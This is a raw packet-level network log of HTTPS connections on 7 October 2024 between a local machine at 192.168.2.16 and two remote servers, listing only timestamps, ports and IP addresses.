Oct 7, 2024 20:59:10.864403963 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.864454985 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.864490032 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.864546061 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.864571095 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.864639044 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.866380930 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.866473913 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.866476059 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.866501093 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.866559029 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.870671988 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.876472950 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.876537085 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.876553059 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.876568079 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.876607895 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.876631975 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.876873970 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.876935959 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.876955986 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.876980066 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.877033949 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.877079964 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.877274990 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.877334118 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.877351999 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.877933979 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.878002882 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.878005028 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.878022909 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.878081083 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.878117085 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.878252029 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.878310919 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.878421068 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.878441095 CEST	443	49780	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.878468990 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.878496885 CEST	49780	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.881715059 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.881784916 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.881881952 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.882143974 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:10.882175922 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:10.946677923 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.946800947 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.946897984 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.946960926 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.950807095 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.950886011 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.950906038 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.955923080 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.956000090 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.956020117 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.961991072 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.962085009 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.962099075 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.967622042 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.967694044 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.967708111 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.973494053 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.973572016 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.973584890 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.979382992 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.979475975 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.979489088 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.985038042 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.985111952 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.985126972 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.990726948 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.990801096 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.990813971 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.996388912 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:10.996464968 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:10.996483088 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.003575087 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.003669977 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.003684044 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.033678055 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.033756971 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.033776045 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.033792019 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.033857107 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.033871889 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.033963919 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.034039021 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.034051895 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.037487030 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.037556887 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.037571907 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.037657022 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.037717104 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.037729979 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.042795897 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.042867899 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.042876959 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.042903900 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.042969942 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.047050953 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.051450968 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.051522970 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.051531076 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.051553011 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.051613092 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.056685925 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.061563015 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.061636925 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.061645031 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.061666965 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.061733007 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.066956997 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.070471048 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.070544958 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.070552111 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.070574045 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.070633888 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.075320959 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.080037117 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.080110073 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.080123901 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.084944010 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.085027933 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.085031986 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.085051060 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.085119009 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.089145899 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.093311071 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.093384981 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.093396902 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.097187042 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.097260952 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.097270966 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.097292900 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.097354889 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.101538897 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.105247021 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.105317116 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.105331898 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.108705997 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.108779907 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.108794928 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.112485886 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.112561941 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.112565041 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.112586975 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.112646103 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.113364935 CEST	443	49782	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.113677025 CEST	49782	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.113738060 CEST	443	49782	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.114830971 CEST	443	49782	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.115241051 CEST	49782	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.115418911 CEST	49782	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.115432978 CEST	443	49782	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.117288113 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.120080948 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.120152950 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.120166063 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.120188951 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.120250940 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.122334003 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.124537945 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.124610901 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.124624014 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.125236988 CEST	443	49781	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.125475883 CEST	49781	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.125494003 CEST	443	49781	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.125966072 CEST	443	49781	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.126348972 CEST	49781	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.126437902 CEST	443	49781	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.126482964 CEST	49781	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.126779079 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.126847982 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.126861095 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.128890991 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.128964901 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.128977060 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.129060030 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.129122972 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.129141092 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.131216049 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.131288052 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.131300926 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.133497000 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.133570910 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.133583069 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.136220932 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.136306047 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.136367083 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.137976885 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.138153076 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.138216019 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.140511036 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.140584946 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.140604019 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.143135071 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.143315077 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.143378019 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.144534111 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.144612074 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.144632101 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.148474932 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.148658991 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.148684025 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.148708105 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.148772955 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.148823977 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.152292967 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.152467966 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.152529955 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.156558037 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.156738043 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.156800032 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.157056093 CEST	49782	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.158437014 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.158543110 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.158620119 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.158643007 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.158714056 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.158756018 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.161791086 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.161864996 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.161884069 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.161947966 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.162035942 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.163577080 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.166806936 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.166882992 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.166966915 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.166987896 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.167058945 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.167105913 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.167479992 CEST	443	49781	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.171499968 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.171542883 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.171574116 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.171603918 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.171667099 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.171689034 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.171689987 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.171755075 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.171809912 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.173063993 CEST	49781	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.176229954 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.176309109 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.176399946 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.176467896 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.176467896 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.176533937 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.180746078 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.180826902 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.180913925 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.180946112 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.181016922 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.181062937 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.183682919 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.183773994 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.183835030 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.183944941 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.184031010 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.184047937 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.187212944 CEST	443	49783	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.187479019 CEST	49783	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.187510967 CEST	443	49783	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.188009024 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.188087940 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.188087940 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.188116074 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.188174963 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.188194036 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.188925982 CEST	443	49783	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.189037085 CEST	49783	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.189383984 CEST	49783	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.189465046 CEST	443	49783	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.189570904 CEST	49783	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.189588070 CEST	443	49783	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.191709042 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.191781998 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.191901922 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.191968918 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.192051888 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.192301989 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.192382097 CEST	443	49774	142.250.186.36	192.168.2.16
Oct 7, 2024 20:59:11.192461967 CEST	49774	443	192.168.2.16	142.250.186.36
Oct 7, 2024 20:59:11.237072945 CEST	49783	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.250425100 CEST	443	49784	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.250838995 CEST	49784	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.250900984 CEST	443	49784	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.254453897 CEST	443	49784	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.254570007 CEST	49784	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.254904985 CEST	49784	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.255059004 CEST	443	49784	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.255073071 CEST	49784	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.263792038 CEST	443	49782	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.263957024 CEST	443	49782	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.264029980 CEST	49782	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.264976025 CEST	49782	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.265011072 CEST	443	49782	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.270653009 CEST	443	49781	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.270776987 CEST	443	49781	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.270848036 CEST	49781	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.270872116 CEST	443	49781	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.271003008 CEST	443	49781	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.271059990 CEST	49781	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.271507978 CEST	49781	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.271526098 CEST	443	49781	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.295468092 CEST	443	49784	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.301187038 CEST	49784	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.301245928 CEST	443	49784	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.318594933 CEST	443	49783	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.318722963 CEST	443	49783	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.318808079 CEST	443	49783	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.318845987 CEST	49783	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.318880081 CEST	443	49783	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.318968058 CEST	49783	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.318979025 CEST	443	49783	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.319098949 CEST	443	49783	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.319175959 CEST	49783	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.319499969 CEST	49783	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.319525957 CEST	443	49783	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.342525959 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.342838049 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.342874050 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.344305038 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.344403028 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.344773054 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.344857931 CEST	443	49785	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.344917059 CEST	49785	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.356576920 CEST	49784	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.390544891 CEST	443	49784	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.390677929 CEST	443	49784	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.390760899 CEST	443	49784	104.21.57.143	192.168.2.16
Oct 7, 2024 20:59:11.390785933 CEST	49784	443	192.168.2.16	104.21.57.143
Oct 7, 2024 20:59:11.390851021 CEST	443	49784	104.21.57.143	192.168.2.16
